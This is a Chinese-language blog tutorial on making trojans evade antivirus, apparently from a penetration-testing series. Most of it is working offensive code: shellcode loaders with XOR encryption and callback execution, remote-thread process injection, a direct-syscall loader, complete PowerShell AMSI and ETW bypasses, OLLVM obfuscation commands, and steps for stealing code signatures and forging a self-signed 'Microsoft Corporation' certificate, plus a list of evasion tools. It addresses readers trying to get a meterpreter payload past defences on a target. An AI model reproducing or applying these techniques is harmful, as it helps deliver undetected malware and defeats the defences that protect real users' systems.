夜雨聆风学习资料网

ARTICLE · 1155550

免杀技术 之 怎么让你的木马不被杀毒软件发现

免杀技术 之 怎么让你的木马不被杀毒软件发现

WEB 漏洞精讲 · 第 33 篇

上次生成了一个meterpreter木马,结果刚传到目标机器上就被杀毒软件删了,试了加壳、编码、混淆,全没用。后来才知道,现在的杀毒软件已经不是以前那种只靠特征码检测了,还有行为检测、启发式检测、云查杀、机器学习。免杀这东西,是渗透测试里最头疼的一环,也是最有技术含量的一环。

这篇把免杀的核心技术讲透,从原理到实战,约 3400 字,附 2 个冷门干货。
01|杀毒软件是怎么检测木马的

在讲免杀之前,得先搞懂杀毒软件是怎么检测木马的。不然你只会瞎试,不知道为什么成功,也不知道为什么失败。

杀毒软件的检测方式主要分五代:

  • 第一代:特征码检测
    ——最经典的方式,杀毒软件有一个病毒特征库,你的文件里只要匹配到特征码,就被判定为病毒。优点是简单准确,缺点是容易绕过(改几个字节就过了)
  • 第二代:启发式检测
    ——分析文件的结构和行为,判断是不是像病毒。比如文件有没有加密、有没有修改系统文件、有没有创建远程线程。优点是能检测未知病毒,缺点是误报率高
  • 第三代:行为检测
    ——不检测文件本身,而是监控程序的行为。比如程序有没有注入其他进程、有没有挂钩系统API、有没有连接恶意IP。优点是能检测免杀的病毒,缺点是需要程序运行之后才能检测
  • 第四代:云查杀
    ——把文件的哈希值或者特征上传到云端,和云端的病毒库比对。优点是病毒库更新快,能检测最新的病毒,缺点是需要联网
  • 第五代:机器学习
    ——用机器学习模型分析文件的特征,判断是不是病毒。优点是准确率高,能检测复杂的免杀病毒,缺点是需要大量训练数据

现在的杀毒软件一般是这五代的组合,所以免杀也需要从多个层面入手——静态免杀(过特征码和启发式)、动态免杀(过行为检测)、云查杀免杀(过哈希检测)。

02|静态免杀:Shellcode加密和加载器

静态免杀的核心思路是——让你的木马文件在静态分析的时候看起来不像病毒。最常用的方法就是把Shellcode加密,然后写一个加载器,运行的时候解密并执行Shellcode。这样杀毒软件静态扫描的时候,看到的是加密后的乱码,检测不到病毒特征。

用Python脚本对Shellcode进行异或加密,生成免杀加载器

// 最简单的Shellcode加载器(C语言)
#include
#include

int main() {
    // 你的Shellcode(用msfvenom生成)
    unsigned char shellcode[] = 
        "\xfc\x48\x83\xe4\xf0\xe8\x...";

    // 分配内存
    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 把Shellcode复制到分配的内存
    memcpy(exec, shellcode, sizeof(shellcode));

    // 执行Shellcode
    ((void(*)())exec)();

    return 0;
}

// 编译命令(用mingw)
x86_64-w64-mingw32-gcc loader.c -o loader.exe -lws2_32

// 但是这个加载器太简单了,很容易被杀毒软件检测
// 因为VirtualAlloc + memcpy + 执行 这个模式太典型了
// 需要改进

改进1:加密Shellcode

// 异或加密后的Shellcode加载器
#include
#include

int main() {
    // 加密后的Shellcode(用异或加密,密钥是0xAA)
    unsigned char encrypted[] = 
        "\x56\xe2\x29\x4e\x5a\x42\x...";

    // 解密
    for (int i = 0; i < sizeof(encrypted); i++) {
        encrypted[i] ^= 0xAA;
    }

    // 分配内存并执行
    void *exec = VirtualAlloc(0, sizeof(encrypted), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, encrypted, sizeof(encrypted));
    ((void(*)())exec)();

    return 0;
}

// 更高级的加密:AES加密
// 用AES加密Shellcode,运行的时候解密
// 这样静态扫描的时候完全看不到Shellcode的特征
// 但是代码会复杂一些

// 还可以用多次加密、动态密钥、自修改代码等方式
// 让杀毒软件更难检测

改进2:用回调函数执行Shellcode

// 用EnumWindows回调函数执行Shellcode
// 这样就不会有明显的"分配内存+执行"的模式
#include
#include

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\x...";

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
    // 只执行一次
    static int executed = 0;
    if (!executed) {
        executed = 1;
        void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, shellcode, sizeof(shellcode));
        ((void(*)())exec)();
    }
    return TRUE;
}

int main() {
    // 用EnumWindows触发回调函数
    EnumWindows(EnumWindowsProc, 0);
    return 0;
}

// 其他可以用来执行Shellcode的回调函数:
// EnumChildWindows、EnumThreadWindows、EnumDesktopWindows
// EnumFonts、EnumFontFamilies、EnumFontFamiliesEx
// EnumPrinters、EnumServicesStatus、EnumDependentServices
// LineDDA、GrayString、SetTimer、CreateTimerQueueTimer

// 用这些回调函数的好处是:
// 1. 不会有明显的"分配内存+执行"的模式
// 2. 杀毒软件的行为检测更难识别
// 3. 代码看起来像是正常的GUI程序

干货AMSI Bypass:让PowerShell木马不被检测

现在Windows自带的AMSI(反恶意软件扫描接口)会扫描PowerShell脚本的内容,所以直接执行恶意PowerShell脚本会被拦截。需要先绕过AMSI:

# 方法1:内存Patch AmsiScanBuffer函数
# 这是最常用的AMSI绕过方式
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
# 执行完之后,AMSI就被绕过了
# 可以正常执行恶意PowerShell脚本

# 方法2:用反射修改AMSI的上下文
# 更隐蔽,不容易被检测
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# 这行代码会把amsiInitFailed设置为true
# AMSI就会认为初始化失败,不再扫描

# 方法3:用字符串拼接绕过静态检测
# 把"AMSI"、"ScanBuffer"这些关键字拆开
# 用字符串拼接的方式组合起来
# 这样静态扫描的时候检测不到关键字
# 比如:
"Am" + "si" + "Scan" + "Buffer"
# 运行的时候才会组合成完整的字符串

# 注意:AMSI绕过之后,还要注意ETW(事件跟踪)
# ETW会记录PowerShell的执行过程
# 也需要绕过:
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static')
$EventProvider = $etwProvider.GetValue($null)
$EventProviderType = $EventProvider.GetType()
$mField = $EventProviderType.GetField('m_enabled','NonPublic,Instance')
$mField.SetValue($EventProvider, $false)

AMSI绕过是PowerShell免杀的关键,掌握了AMSI绕过,PowerShell木马基本上就能畅通无阻了。

03|动态免杀:进程注入和间接系统调用

静态免杀只能过杀毒软件的静态扫描,程序运行之后,杀毒软件的行为检测还是可能会发现。所以还需要动态免杀——让程序运行的时候的行为也看起来正常。

1. 进程注入

进程注入就是把你的Shellcode注入到其他正常进程里执行,比如explorer.exe、notepad.exe。这样杀毒软件看到的是正常进程在运行,而不是你的木马程序。

// 经典的进程注入(CreateRemoteThread)
#include
#include

int main() {
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\x...";

    // 打开目标进程(比如notepad.exe)
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234); // 1234是目标进程PID

    // 在目标进程里分配内存
    LPVOID exec = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 把Shellcode写入目标进程的内存
    WriteProcessMemory(hProcess, exec, shellcode, sizeof(shellcode), NULL);

    // 在目标进程里创建远程线程,执行Shellcode
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);

    CloseHandle(hProcess);
    return 0;
}

// 但是CreateRemoteThread太经典了,杀毒软件都会监控
// 需要用更隐蔽的注入方式:

// 方式1:QueueUserAPC(APC注入)
// 把Shellcode放到目标进程的APC队列里
// 目标进程进入可告警状态的时候就会执行
// 比CreateRemoteThread更隐蔽

// 方式2:SetWindowsHookEx(钩子注入)
// 安装一个全局钩子,所有进程都会加载你的DLL
// 然后在DLL里执行Shellcode

// 方式3:反射DLL注入
// 不把DLL写到磁盘,直接在内存里加载DLL
// 更隐蔽,不会留下文件痕迹

// 方式4:进程镂空(Process Hollowing)
// 创建一个挂起的正常进程,把它的内存掏空
// 然后写入你的Shellcode,恢复执行
// 杀毒软件看到的是正常进程名,但执行的是你的代码

真实木马的免杀代码,用了多轮解密和自修改代码技术

2. 间接系统调用(Syscall)

杀毒软件会挂钩ntdll.dll里的系统调用函数,监控你的程序调用了哪些API。间接系统调用就是不通过ntdll.dll,直接执行syscall指令,进入内核。这样杀毒软件的钩子就失效了。

// 间接系统调用的原理:
// 正常调用API:你的程序 -> ntdll.dll!NtAllocVirtualMemory -> 内核
// 杀毒软件在ntdll.dll的函数里下了钩子,能监控到你的调用

// 间接系统调用:你的程序 -> 直接执行syscall指令 -> 内核
// 不经过ntdll.dll,杀毒软件的钩子就失效了

// 但是不同Windows版本的系统调用号不一样
// 需要动态获取系统调用号
// 或者用工具(比如SysWhispers)自动生成

// 用SysWhispers生成系统调用桩
# 安装SysWhispers
git clone https://github.com/jthuraisamy/SysWhispers.git
cd SysWhispers

# 生成需要的系统调用(比如NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx)
python syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx --out-file syscall

# 会生成syscall.asm、syscall.h、syscall.c
# 把这些文件加到你的项目里
# 然后直接调用NtAllocateVirtualMemory等函数
# 这些函数会直接执行syscall,不经过ntdll.dll

// 示例代码
#include "syscall.h"

int main() {
    unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\x...";

    PVOID exec = NULL;
    SIZE_T size = sizeof(shellcode);

    // 直接调用系统调用,不经过ntdll.dll
    NtAllocateVirtualMemory((HANDLE)-1, &exec, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory((HANDLE)-1, exec, shellcode, sizeof(shellcode), NULL);

    // 执行Shellcode
    ((void(*)())exec)();

    return 0;
}

// 间接系统调用是现在最先进的免杀技术之一
// 能绕过大部分杀毒软件的API钩子监控
// 但是实现比较复杂,需要对Windows内核有一定了解
04|其他免杀技巧

1. 加壳和混淆

# 常见的加壳工具:
# UPX —— 最经典的开源加壳工具,但是杀毒软件都能脱UPX的壳
upx -9 loader.exe

# The Enigma Protector —— 商业加壳工具,保护强度高
# VMProtect —— 商业加壳工具,用虚拟机保护代码,很强
# Themida —— 商业加壳工具,保护强度很高
# Obsidium —— 商业加壳工具

# 代码混淆工具:
# OLLVM —— 开源的LLVM混淆插件,支持控制流平坦化、指令替换、虚假控制流
# 编译的时候加上混淆参数:
# -mllvm -fla (控制流平坦化)
# -mllvm -sub (指令替换)
# -mllvm -bcf (虚假控制流)
x86_64-w64-mingw32-clang loader.c -o loader.exe -mllvm -fla -mllvm -sub -mllvm -bcf

# 注意:加壳和混淆只能过静态检测
# 程序运行之后,行为检测还是可能会发现
# 所以加壳和混淆要和动态免杀结合使用

2. 签名伪造

# 给木马加上数字签名,让它看起来像是正规软件
# 杀毒软件对有正规签名的程序会降低检测等级

# 方法1:偷取合法签名
# 找到一个有合法签名的DLL,把你的木马和这个DLL绑在一起
# 或者用签名劫持技术,把合法签名附加到你的木马上

# 方法2:用sigthief偷取签名
# 工具地址:https://github.com/secretsquirrel/SigThief
python sigthief.py -i 合法程序.exe -t 木马.exe -o 带签名的木马.exe

# 方法3:用自签名证书
# 自己生成一个代码签名证书,给木马签名
# 虽然不是受信任的证书,但有些杀毒软件会放过

# 生成自签名证书
makecert -r -pe -n "CN=Microsoft Corporation" -b 01/01/2020 -e 01/01/2030 -sky exchange -sv cert.pvk cert.cer
pvk2pfx -pvk cert.pvk -spc cert.cer -pfx cert.pfx -po 密码

# 给程序签名
signtool sign /f cert.pfx /p 密码 /t http://timestamp.digicert.com 木马.exe

# 注意:签名伪造只能降低检测等级
# 不能完全绕过杀毒软件
# 还是要和其他免杀技术结合使用

3. 免杀工具推荐

# 常用的免杀工具:

# 1. Veil —— 自动化免杀框架,能生成各种免杀木马
# 地址:https://github.com/Veil-Framework/Veil
# 用法:veil -t Evasion --list-tools 查看可用的免杀模块

# 2. Avet —— 杀毒软件规避工具
# 地址:https://github.com/govolution/avet

# 3. Shellter —— 动态Shellcode注入工具
# 地址:https://www.shellterproject.com/
# 能把Shellcode注入到正常的EXE文件里

# 4. Donut —— 把EXE/DLL转换成Shellcode
# 地址:https://github.com/TheWover/donut
# 用法:donut -i 木马.exe -o shellcode.bin

# 5. ScareCrow —— 针对EDR的免杀加载器
# 地址:https://github.com/optiv/ScareCrow
# 支持AMSI绕过、ETW绕过、间接系统调用等

# 6. LimeLighter —— 签名伪造工具
# 地址:https://github.com/Tylous/Limelighter

# 7. SysWhispers2 —— 系统调用生成工具
# 地址:https://github.com/jthuraisamy/SysWhispers2

# 注意:这些工具生成的木马可能已经被杀毒软件标记了
# 最好是自己修改代码,加入自定义的加密和混淆
# 这样免杀效果更好

免杀这东西,没有一劳永逸的方法。今天能过的免杀,明天杀毒软件更新了病毒库就可能过不了了。所以免杀是一个持续的过程,需要不断研究新的技术,不断改进你的木马。

我的经验是:不要依赖现成的免杀工具,最好是自己写加载器,自己设计加密方式,自己研究绕过技巧。因为现成的工具大家都在用,杀毒软件早就把它们的特征加入病毒库了。只有自己写的、独一无二的木马,才能有比较好的免杀效果。

下一篇我们聊Cobalt Strike——内网渗透神器的使用技巧。我们下篇见。

围巢安全笔记

不生产焦虑,只分享踩过的坑和挖过的洞

你用过最有效的免杀技巧是什么?评论区聊聊 👇

有想聊的话题,后台留言告诉我

往期回顾

  • 横向移动:拿到一台服务器之后,怎么控制整个内网
  • 痕迹清理:干完活之后,怎么把日志清干净,不留痕迹
  • 权限维持:拿到服务器之后,怎么留后门,下次还能进来
  • WAF绕过:你的payload一提交就被拦?这10个冷门技巧让它畅通无阻

相关学习资料